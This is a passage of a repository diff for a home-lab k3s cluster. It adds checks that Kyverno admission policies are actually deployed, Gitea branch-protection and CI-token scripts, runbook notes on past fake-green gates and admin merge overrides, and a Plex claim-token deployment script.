# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
# `platform` Ready at the new revision — and the policy was never in any applied set. The
# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
# which is precisely the state that identity's own RBAC header says must never exist.
#
# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
# DEPLOYED. This check asserts the second thing.
#
# GIVEN the repository as git tracks it,
# WHEN every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
# THEN each one is either referenced by platform-config/kustomization.yaml (so Flux applies
# it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
# policy that IS applied, so the exemption list cannot rot into a lie either way.
# =============================================================================
set -euo pipefail
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
exec python3 - "$ROOT" <<'PY'
import sys, subprocess
from pathlib import Path
ROOT = Path(sys.argv[1])
FAILURES, CHECKS = [], 0
def check(cond, desc):
global CHECKS
CHECKS += 1
if not cond:
FAILURES.append(desc)
# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
# that silently starts being applied is as much a lie as one that silently stops.
CI_ONLY = {
"disallow-plaintext-secrets":
"CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
"admission because Flux decrypts before the Secret reaches the API server. Its "
"in-cluster counterpart is admission/secret-provenance.yaml.",
}
tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
"platform/kyverno/*.yaml"],
cwd=ROOT, capture_output=True, text=True, check=True)
files = [ROOT / p for p in tracked.stdout.split("\0") if p]
# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
policies = {}
for f in files:
try:
txt = f.read_text()
except Exception:
continue
if "kind: ClusterPolicy" not in txt:
continue
for line in txt.splitlines():
st = line.strip()
if st.startswith("name:") and " name:" in line:
policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
break
check(len(policies) >= 6,
f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
f"too few means the scan broke, and every assertion below would be vacuous")
applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
unapplied, wrongly_exempt = [], []
for rel, name in sorted(policies.items()):
# platform-config references these as ../platform/kyverno/...
referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
if name in CI_ONLY:
if referenced:
wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
elif not referenced:
unapplied.append(f"{name} ({rel})")
check(not unapplied,
f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
check(not wrongly_exempt,
f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
for name, reason in CI_ONLY.items():
check(bool(reason.strip()),
f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
f"list stops being reviewable")
check(CHECKS >= 4,
f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
if FAILURES:
print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
file=sys.stderr)
for f in FAILURES:
print(f" - {f}", file=sys.stderr)
raise SystemExit(1)
print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
f"not that they are correct — `kyverno test` is what proves correctness.")
PY
@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
"runbooks", "clusters", "bootstrap", "catalog")
# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
# routes and make (8) demand the operator's dashboard link them.
#
# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
# hostname-publishing Service. If that ever stops being true the check fails and the tree must
# become a real delivery root.
NON_SERVING_RECONCILED = ("conformance/incluster",)
def tracked_yaml() -> list[Path]:
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
# a path of them would fail on a file that is correct.
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
def _reconciled_path(d):
return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
unscanned = sorted({
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
for p, d in reconcilers
if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
not in DELIVERY_ROOTS
if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
and _reconciled_path(d) not in NON_SERVING_RECONCILED
})
# The exemption's own guard: an exempted tree must actually serve nothing.
exempt_serving = sorted({
f"{p.relative_to(ROOT)} ({d.get('kind')})"
for p, d in docs_all()
if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
and (d.get("kind") == "HTTPRoute"
or (d.get("kind") == "Service"
and any("hostname" in str(k).lower()
for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
})
check(not exempt_serving,
f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
f"gains a route would hide a service from this check entirely "
f"{exempt_serving if exempt_serving else ''}")
check(len(reconcilers) >= 10 and not unscanned,
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
f"reconciled tree this check does not read is a service it cannot require a link for "
+15 -2
View File
@@ -38,8 +38,21 @@ agents. So the credential model must be decided by the operator before anything
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
> run" this stage attempts can never succeed; it can only skip and, before the guard added on
> 2026-09-29, lie about it.
>
> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
> not enable L2/L3, it only changes which way this stage fails.
---
+87 -1
View File
@@ -43,7 +43,93 @@ list. That is precisely the observed symptom: zero runners, pod running, no erro
looks at. Clearing the PVC is what forces a real re-registration; the script prints the
commands.
## Sequence — order matters
## Sequence — DONE 2026-09-29
All four steps are complete and each was verified, not assumed:
| Step | State |
|---|---|
| 1. Runner registered | ✅ `incluster-dind` online. Root cause of its absence was a stale `/data/.runner` identity; clearing the PVC forced re-registration |
| 2. Gate observed green on a real PR | ✅ `gate / gate (pull_request)` ~1m35s |
| 3. `enable_status_check: true` | ✅ context `gate / gate (pull_request)` — that one ONLY |
| 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
`gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
account agents authenticate as.
### 5. Block the admin override — the step the first pass MISSED
`enable_status_check` and `required_approvals` were set on 2026-09-29 and **still did not
bite**, because `block_admin_merge_override` was `false`. Gitea lets repo admins override
merge requirements without it, and `jakman85` holds `owner` — so the two settings that looked
like the gate were overridable by precisely the account that merges.
**The evidence was sitting in plain sight:** PRs #5 through #9 all merged with
`required_approvals: 1` in force and **zero approvals recorded on any of them**. Checking the
*branch* view (`/branches/main`) hid this — it does not expose the field. Read the rule object
(`/branch_protections/main`) and enumerate its keys.
> **Do not probe for field names you assume exist.** This Gitea (1.24.3) has no
> `apply_to_admins`; asking `jq` for it returns `null`, which reads like "set to false" but
> means "key absent". Enumerate with `to_entries` and act on what is really there.
Now `block_admin_merge_override: true`. **That is still only a setting, not evidence** — it is
proven when a green PR is REFUSED a merge until approved, and not before.
### `require-gate.sh` / `verify-then-enforce.sh`
`verify-then-enforce.sh` is the re-runnable form of the whole safe order. It merges nothing —
merging is a human's reviewed act — but it forces the Flux reconcile and then **aborts** unless
the runner pod is healthy, a runner is online, and a real workflow goes green on it, before
enabling enforcement and probing the push. `require-gate.sh` is the enforcement step alone.
Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
### `expected-branch-protection.json` + `ci/gitea-settings.sh` — the detector
`expected-branch-protection.json` **declares** the desired rule. `ci/gitea-settings.sh` runs as
a merge-gate stage, reads the LIVE rule, and **fails the gate on any divergence** — plus asserts
at least one runner is online. It is the only thing in this repository that can see Gitea's own
database.
It reads `/branch_protections/main`, not `/branches/main`: the branch view does **not** expose
`block_admin_merge_override`, and it showed all-green for hours while the rule was overridable.
Behaviour, proven by test rather than assumed:
| Situation | Exit | Effect |
|---|---|---|
| live matches the declaration | 0 | green |
| any key drifted, or no runner online | 1 | **blocks the merge** |
| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS=true` in
`gate.yml` so a future missing token blocks instead of skipping.
**Changing the declaration is how you change policy.** If the live state is what you now want,
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
### Why these scripts exist at all, and what is still missing
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
conformance gate can read. Nothing detects drift from what this directory declares. That is
the root cause of the entire 2026-09-29 session: branch protection was off and the runner was
gone for a month while the log recorded both as working, and **no check existed that could
have caught it.**
These scripts encode the desired state and can re-assert it; `ci/gitea-settings.sh` above is the
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
root cause of the 2026-09-29 session.
It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
detector detects nothing. That is the remaining step.
## Historical sequence (kept for context)
### Original ordering notes
1. **Get an Actions runner registered** — `runner-token-rotate.sh`, then clear the PVC so
the runner actually re-registers, then confirm it shows `online` in the API. Do not
+36
View File
@@ -0,0 +1,36 @@
#!/usr/bin/env bash
# Stop repository admins from overriding the merge requirements on `main`.
#
# WHY. Gitea lets repo admins override branch-protection merge requirements unless
# `block_admin_merge_override` is set. It was FALSE, and jakman85 holds `owner` -- so
# required_approvals and the required status check were both overridable by the one account
# that actually merges. Evidence: PRs #5-#9 all merged with ZERO approvals recorded against
# `required_approvals: 1`.
#
# NOTE ON FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins` field. Querying it with jq
# returns null, which reads like "set to false" but actually means "key absent". Enumerate the
# real keys (`to_entries`) rather than probing names you assume exist.
#
# Recoverable: an owner can PATCH this back to false if it gets in the way.
set -euo pipefail
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
B="https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main"
echo "==> before: block_admin_merge_override = $(api "$B" | jq -r .block_admin_merge_override)"
api -X PATCH -H 'Content-Type: application/json' \
-d '{"block_admin_merge_override": true}' "$B" >/dev/null
AFTER=$(api "$B" | jq -r .block_admin_merge_override)
echo "==> after: block_admin_merge_override = $AFTER"
[ "$AFTER" = true ] || { echo "PATCH did not take -- do not record this as enforced." >&2; exit 1; }
api "$B" | jq -r '{enable_push,enable_status_check,status_check_contexts,required_approvals,block_admin_merge_override}'
cat <<'NOTE'
NOW PROVE IT -- the setting is not the evidence. On the next PR:
* let the gate go green, then try to merge WITHOUT approving it.
* Gitea must REFUSE. If it merges, this still is not doing its job.
Do not record approvals as enforced until you have seen a merge refused.
NOTE
@@ -0,0 +1,20 @@
{
"_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
"_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
"branch": "main",
"runners_online_min": 1,
"protection": {
"enable_push": false,
"enable_push_whitelist": false,
"enable_merge_whitelist": false,
"enable_status_check": true,
"status_check_contexts": [
"gate / gate (pull_request)"
],
"required_approvals": 1,
"enable_approvals_whitelist": false,
"block_admin_merge_override": true,
"block_on_rejected_reviews": true,
"dismiss_stale_approvals": true
}
}
+60
View File
@@ -0,0 +1,60 @@
#!/usr/bin/env bash
# Items 1 + 2: make the gate a REQUIRED status check and require one approval.
#
# RUN THIS LAST. Prerequisites, in order:
# a) PR #7 (dind native sidecar) is MERGED, and
# b) you have SEEN a real workflow run go green on the converted pod.
# The runner Deployment is the merge gate for the whole repo. Turning on a required check
# while the runner is broken means no PR can merge -- including the revert. (Recoverable:
# an owner can set enable_status_check back to false. But do not rely on that.)
#
# Requires exactly ONE context: `gate / gate (pull_request)`.
# * NOT `gate / conformance (*)` -- that job is `if: false`, and a skipped Gitea job reports
# SUCCESS ("Has been skipped"). Requiring it would pass VACUOUSLY forever while nothing
# ran, which under HARD RULE 4 is worse than a deadlock: a deadlock is loud.
# block_admin_merge_override: true is LOAD-BEARING and was missing on the first pass. Gitea
# lets repo admins override merge requirements without it, so required_approvals and the
# required status check are both bypassable by exactly the account that does the merging.
# Measured: PRs #5-#9 merged with ZERO approvals recorded against required_approvals: 1.
#
# FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins`. Asking jq for it returns null,
# which reads like "false" but means "key absent" -- enumerate real keys with `to_entries`
# instead of probing names you assume exist. That mistake cost a wasted PATCH.
#
# * NOT the `(push)` variant -- after PR #6 there are no per-branch push runs at all, so a
# PR would never produce that context.
set -euo pipefail
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
echo "==> updating branch protection on main"
jq -n '{
enable_push: false,
enable_status_check: true,
status_check_contexts: ["gate / gate (pull_request)"],
required_approvals: 1,
block_on_rejected_reviews: true,
dismiss_stale_approvals: true,
block_on_outdated_branch: false,
block_admin_merge_override: true
}' | api -X PATCH -H 'Content-Type: application/json' --data @- \
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main" >/dev/null
echo "==> verifying"
api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branches/main" \
| jq -r '{protected,user_can_push,enable_status_check,status_check_contexts,required_approvals}'
cat <<'NOTE'
NOTE ON required_approvals: 1 -- Gitea will not let an author approve their own PR.
* Agent-opened PRs (author gitea-admin) are approved by jakman85. Fine.
* PRs YOU open as jakman85 need gitea-admin to approve. If that is awkward, either open
agent work as gitea-admin and review as jakman85, or set required_approvals back to 0
and rely on the status check alone.
Then prove it, rather than trusting the API:
git commit --allow-empty -m probe && git push origin main # EXPECT: rejected
git reset --hard HEAD~1
NOTE
+56
View File
@@ -0,0 +1,56 @@
#!/usr/bin/env bash
# Mint a Gitea API token and store it as the repo Actions secret GITEA_SETTINGS_TOKEN,
# so ci/gitea-settings.sh can read the live branch-protection rule during the gate.
#
# The token value is NEVER printed. It goes from the token API into the secrets API and
# nowhere else -- not to stdout, not to a file, not into an agent transcript.
#
# Scope: `read:repository` + `read:admin` are what the check needs (the rule object, and the
# runner list). Gitea token scopes are coarse; grant the least that works on your version and
# confirm the check goes green rather than assuming the scope name.
set -euo pipefail
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
SECRET=SETTINGS_API_TOKEN
NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
echo "==> minting token '${NAME}' as ${U}"
TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
-d "{\"name\":\"${NAME}\",\"scopes\":[\"read:repository\",\"read:admin\"]}" \
"https://${HOST}/api/v1/users/${U}/tokens" | jq -r '.sha1 // empty')"
[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
echo "==> got a ${#TOKEN}-character token (value not shown)"
echo "==> storing it as repo Actions secret ${SECRET}"
code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
-d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
unset TOKEN
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
echo " PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
rm -f /tmp/set-ci-token.out; exit 1
fi
rm -f /tmp/set-ci-token.out
# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
# reports success for a store that never happened -- which is exactly what it did.
names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
| jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
grep -q "$SECRET" <<<"$names" \
|| { echo " stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
echo "==> stored and VERIFIED present: ${names}"
cat <<'NOTE'
Next:
1. .gitea/workflows/gate.yml already passes this secret to the gate step.
2. Open any PR and confirm the gate prints "gitea-settings: green" -- it SKIPS silently
without the token, so a green run is the only proof the wiring works.
3. THEN set REQUIRE_GITEA_SETTINGS=true in gate.yml, so a future missing token BLOCKS
instead of skipping. Do that only after you have seen it green, or you lock the repo.
NOTE
+83
View File
@@ -0,0 +1,83 @@
#!/usr/bin/env bash
# verify-then-enforce.sh — run this AFTER you have merged PRs 8, 5, 6, 7 in that order.
#
# It does NOT merge anything. Merging is your reviewed act (CLAUDE.md: a human approves and
# merges). This script does the mechanical half: prove the converted runner actually works,
# and only then turn on enforcement.
#
# WHY THIS ORDER. The act-runner Deployment IS the merge gate for this repository. Enabling a
# required status check while the runner is broken means NO PR can merge -- including the
# revert. So PR #7 lands while the gate is still advisory, is PROVEN green on a real run, and
# only then does enforcement go on.
#
# Aborts at the first checkpoint that does not pass. Safe to re-run.
set -euo pipefail
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
REPO_ROOT=/var/home/keith/source/home-network-k3s-impl
D="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$REPO_ROOT"
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
A="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
say() { printf '\n\033[1m==> %s\033[0m\n' "$1"; }
die() { printf '\n\033[31mABORT: %s\033[0m\n' "$1" >&2; exit 1; }
say "PRECHECK — all four PRs must be merged first"
for n in 8 5 6 7; do
m=$(api "$A/pulls/$n" | jq -r .merged)
printf ' PR #%s merged=%s\n' "$n" "$m"
[ "$m" = true ] || die "PR #$n is not merged yet. Merge 8, 5, 6, 7 in that order, then re-run."
done
say "STEP 1 — force Flux to apply the sidecar now, not on the 10m interval"
./infra/devcontainer/dev.sh run bash -c \
'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-1 --with-source'
say "STEP 2 — CHECKPOINT: the converted pod must come up healthy"
./infra/devcontainer/dev.sh run bash -c '
kubectl --context k3s-prod -n gitea-actions rollout status deploy/act-runner --timeout=180s
echo "--- sidecar (initContainers) ---"
kubectl --context k3s-prod -n gitea-actions get deploy act-runner \
-o jsonpath="{range .spec.template.spec.initContainers[*]}{.name} restartPolicy={.restartPolicy}{\"\n\"}{end}"
kubectl --context k3s-prod -n gitea-actions get pod -l app.kubernetes.io/name=act-runner' \
|| die "converted act-runner pod is not healthy -- REVERT PR #7 before anything else"
say "STEP 3 — CHECKPOINT: a runner must be ONLINE again"
n=0
for i in $(seq 1 40); do
n=$(api "https://${HOST}/api/v1/admin/actions/runners" | jq -r '[(.runners//[])[]|select(.status=="online")]|length')
printf '\r online runners: %s (%ss) ' "$n" "$((i*5))"
[ "${n:-0}" -ge 1 ] && { echo; break; }
sleep 5
done
[ "${n:-0}" -ge 1 ] || die "no runner online after the conversion -- REVERT PR #7"
say "STEP 4 — CHECKPOINT: a REAL workflow must go green ON THE CONVERTED POD"
MAIN_SHA=$(api "$A/branches/main" | jq -r .commit.id)
echo " watching the post-merge push run on main (${MAIN_SHA:0:8})..."
st=""
for i in $(seq 1 60); do
st=$(api "$A/commits/$MAIN_SHA/status" | jq -r .state)
printf '\r main gate: %-8s (%ss) ' "$st" "$((i*10))"
case "$st" in success) echo; break;; failure|error) die "gate FAILED on the converted pod -- REVERT PR #7";; esac
sleep 10
done
[ "$st" = success ] || die "gate never completed on the converted pod -- REVERT PR #7; do NOT enable enforcement"
echo " the converted sidecar ran a real job green. Enforcement is now safe."
say "STEP 5 — require the gate + one approval"
"$D/require-gate.sh"
say "STEP 6 — prove a direct push is rejected (do not trust the API's word)"
git fetch -q origin && git checkout -q main && git reset -q --hard origin/main
git commit -q --allow-empty -m 'protection probe'
if git push origin main 2>&1 | grep -q 'protected branch'; then
echo " CONFIRMED: push to main rejected by the pre-receive hook."
else
echo " WARNING: the push was NOT rejected -- protection is not doing what it claims."
fi
git reset -q --hard origin/main
say "FINAL STATE"
api "$A/branches/main" | jq -r '{protected,user_can_push,enable_status_check,status_check_contexts,required_approvals}'
+94
View File
@@ -0,0 +1,94 @@
#!/usr/bin/env bash
# plex-claim-ship.sh — run this IMMEDIATELY AFTER editing the SOPS secret with a fresh
# plex.tv claim token. It drives the whole CI/CD loop end to end and prints a running
# stopwatch so you can see the budget being spent.
#
# branch -> commit -> push -> PR -> gate -> merge -> reconcile -> pod roll -> verify
#
# It never sees, prints, or handles the token: the file is already encrypted by sops.
set -euo pipefail
HOST=gitea.home.keithjackson.dev
OWNER=Home-Network
REPO=home-network-k3s-impl
SECRET=apps/wave-0/plex-claim-secret.sops.yaml
T0=$(date +%s)
el() { printf '\n[T+%02d:%02d] %s\n' $(( ($(date +%s)-T0)/60 )) $(( ($(date +%s)-T0)%60 )) "$1"; }
cd "$(git rev-parse --show-toplevel)"
# --- preflight: refuse to ship a file that is not what we think it is -------------
git diff --quiet -- "$SECRET" && { echo "ERROR: $SECRET is unchanged. Edit it first:"; \
echo " infra/devcontainer/dev.sh run sops $SECRET"; exit 1; }
grep -q 'PLEX_CLAIM: ENC\[' "$SECRET" || { echo "ERROR: $SECRET is not encrypted. REFUSING."; exit 1; }
[ -z "$(git status --porcelain | grep -v " $SECRET\$")" ] || echo "NOTE: other files are dirty; only $SECRET will be committed."
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
# Branch prefix is now cosmetic. It used to matter: gate.yml's push trigger covered
# feature/** fix/** docs/** chore/** but not feat/**, and with act_runner at capacity 1 a
# matching prefix fired a redundant run that serialised ahead of the PR run. Those
# per-branch push triggers were deleted, so no prefix produces a duplicate run any more.
BRANCH="feat/plex-claim-token-$(date +%H%M%S)"
el "committing on $BRANCH"
git checkout -q -b "$BRANCH"
git add "$SECRET"
git commit -q -m 'chore(plex): fresh plex.tv claim token
Injected inside the plex.tv claim window per runbooks/plex-claim.md.'
SHA=$(git rev-parse HEAD)
el "pushing"
git push -q -u origin "$BRANCH"
el "opening PR"
PR=$(jq -n --arg h "$BRANCH" --arg b main --arg t 'chore(plex): fresh plex.tv claim token' \
'{head:$h,base:$b,title:$t,body:"Token injection inside the claim window. Wiring already reviewed in #1."}' \
| api -X POST -H 'Content-Type: application/json' --data @- \
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/pulls" | jq -r '.number')
[ -n "$PR" ] && [ "$PR" != "null" ] || { echo "PR creation failed"; exit 1; }
echo " PR #$PR"
el "waiting for the gate (expect ~1m40s)"
for i in $(seq 1 60); do
st=$(api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/commits/${SHA}/status" | jq -r '.state')
printf '\r gate=%s [T+%ss] ' "$st" "$(( $(date +%s)-T0 ))"
case "$st" in success) echo; break;; failure|error) echo; echo "GATE FAILED — stopping."; exit 1;; esac
sleep 5
done
[ "$st" = "success" ] || { echo; echo "gate did not finish in time"; exit 1; }
el "merging PR #$PR"
api -X POST -H 'Content-Type: application/json' -d '{"Do":"merge"}' \
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/pulls/${PR}/merge" >/dev/null
git checkout -q main && git pull -q --ff-only origin main
el "forcing the Flux reconcile (--with-source, or it applies the OLD revision)"
./infra/devcontainer/dev.sh run bash -c \
'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-0 --with-source'
# MANDATORY here. Only the Secret ciphertext changed, so the Deployment pod template is
# byte-identical and NOTHING restarts on its own. PLEX_CLAIM is read once, at container
# start. Skipping this is failure mode #2 in runbooks/plex-claim.md.
el "rolling the pod (mandatory — a changed Secret restarts nothing)"
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex rollout restart deployment/plex && \
kubectl --context k3s-prod -n plex rollout status deployment/plex --timeout=120s'
el "verdict"
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex logs deploy/plex --since=3m | grep -i -e claim -e token || true'
cat <<'NOTE'
"Attempting to obtain server token..." + "Token obtained successfully" -> CLAIMED
"Attempting..." with no success line -> token expired; retry, nothing is broken
neither line -> already claimed, or env did not reach the container
Confirm it persisted (prints the attribute NAME only, never its value):
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex exec deploy/plex -- sh -c \
"grep -o PlexOnlineToken= \"/config/Library/Application Support/Plex Media Server/Preferences.xml\" | head -1"'
NOTE
+8
View File
@@ -34,6 +34,14 @@ resources:
# policies, the next import is blocked in the gap.
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
- ../platform/kyverno/admission/secret-provenance.yaml
# R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
# Kustomization is what actually applies ClusterPolicies. Adding a policy only to
# platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
# only ("kept as reference; THIS file is the buildable render root" in
# platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
# That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
# leaving the conformance-trigger identity live with nothing bounding it.
- ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
- cilium/l2-ip-pool.yaml
- cilium/l2-announcement-policy.yaml
@@ -0,0 +1,144 @@
# Serves: R-SEC-02 (CI holds no broad cluster access)
#
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
#
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
